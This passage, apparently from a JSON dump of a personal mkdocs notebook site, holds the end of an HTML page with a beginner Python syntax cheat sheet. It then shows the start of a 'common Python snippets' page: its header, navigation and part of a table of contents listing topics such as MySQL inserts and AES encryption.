style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">3</span>}\r\nvariable_with_zero_data = None\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Simple Logging</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 134, 179);\">print</span> <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Printed!&quot;</span>\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Conditionals</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">if</span> cake == <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;delicious&quot;</span>:\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 134, 179);\">return</span> <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;Yes please!&quot;</span>\r\n<span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">elif</span> cake == <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;okay&quot;</span>:\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 134, 179);\">return</span> <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;I'll have a small piece.&quot;</span>\r\n<span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">else</span>:\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 134, 179);\">return</span> <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(221, 17, 68);\">&quot;No, thank you.&quot;</span>\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Loops</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">for</span> <span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">item</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">in</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(68, 85, 136);\">list</span>:\r\n    print <span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">item</span>\r\n<span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">while</span> (total &lt; max_val):\r\n    total += values[i]\r\n    i += <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">2</span>\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Functions</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">def</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(153, 0, 0);\">divide</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(dividend, divisor)</span>:</span>\r\n    quotient = dividend / divisor\r\n    remainder = dividend % divisor\r\n    <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">return</span> quotient, remainder\r\n\r\n<span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">def</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(153, 0, 0);\">calculate_stuff</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(x, y)</span>:</span>\r\n    (q, r) = divide(x,y)\r\n    <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">print</span> q, r\r\n</code></pre><h3 style=\"padding:0px;box-sizing:border-box;border:0px;margin-top:15px;color:rgb(46, 61, 73);vertical-align:baseline;margin:0px;font-family:inherit;line-height:inherit;font-style:inherit;font-variant:inherit;font-stretch:inherit;font-size:18px;margin-bottom:5px;font-weight:600;\">Classes</h3>\r\n<pre style=\"word-break:break-all;overflow:auto;font-size:inherit;box-sizing:border-box;display:block;font-stretch:inherit;font-weight:inherit;line-height:inherit;color:rgb(51, 51, 51);font-family:'Lucida Console', Monaco, Courier, monospace;word-wrap:break-word;font-variant:inherit;border-radius:4px;font-style:inherit;vertical-align:baseline;background-color:rgb(250, 251, 252);border:0px;margin:20px 0px;padding:20px;\" xml:space=\"preserve\"><code style=\"margin:0px;font-family:'Lucida Console', Monaco, Courier, monospace;box-sizing:border-box;line-height:inherit;font-stretch:inherit;font-weight:inherit;font-variant:inherit;font-style:inherit;border:0px;vertical-align:baseline;font-size:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0px;color:inherit;padding:0px;\"><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">class</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(68, 85, 136);\">Person</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(object)</span>:</span>\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">def</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(153, 0, 0);\">__init__</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(self, name, age)</span>:</span>\r\n        self.name = name\r\n        self.age = age \r\n\r\n    <span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\"><span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(51, 51, 51);\">def</span> <span style=\"font-weight:bold;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(153, 0, 0);\">birthday</span><span style=\"font-weight:inherit;box-sizing:border-box;padding:0px;border:0px;font-style:inherit;font-variant:inherit;margin:0px;font-stretch:inherit;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;\">(self)</span>:</span>\r\n        self.age += <span style=\"font-weight:inherit;box-sizing:border-box;font-stretch:inherit;padding:0px;font-style:inherit;font-variant:inherit;margin:0px;border:0px;font-size:inherit;line-height:inherit;font-family:inherit;vertical-align:baseline;color:rgb(0, 128, 128);\">1</span>\r\n</code></pre>\r\n</div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div></div><br/></div></div></div>\r\n</body>\r\n</html>\r\n"
  },
  {
    "path": "docs/gist/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../Python/\">\n      \n      \n        <link rel=\"next\" href=\"../PythonCourse/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>Gist Python一些常用代码片段 - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#gist\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              Gist Python一些常用代码片段\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          Gist Python一些常用代码片段\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        Gist Python一些常用代码片段\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#print\" class=\"md-nav__link\">\n    print的时候顺带带上时间\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mysql\" class=\"md-nav__link\">\n    连接mysql批量插入、查询\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    大小写不敏感字典\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#mpms\" class=\"md-nav__link\">\n    mpms多线程下每个线程单独变量\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#dict_add_list\" class=\"md-nav__link\">\n    将值存入字典中的列表 dict_add_list\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#aes\" class=\"md-nav__link\">\n    使用AES加密字符串\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#python-mn\" class=\"md-nav__link\">\n    Python画图 上方颜色，然后M*N个小图\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#zipc\" class=\"md-nav__link\">\n    从一系列zip文件中提取C代码\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    在一批文本中查找可能的密钥\n  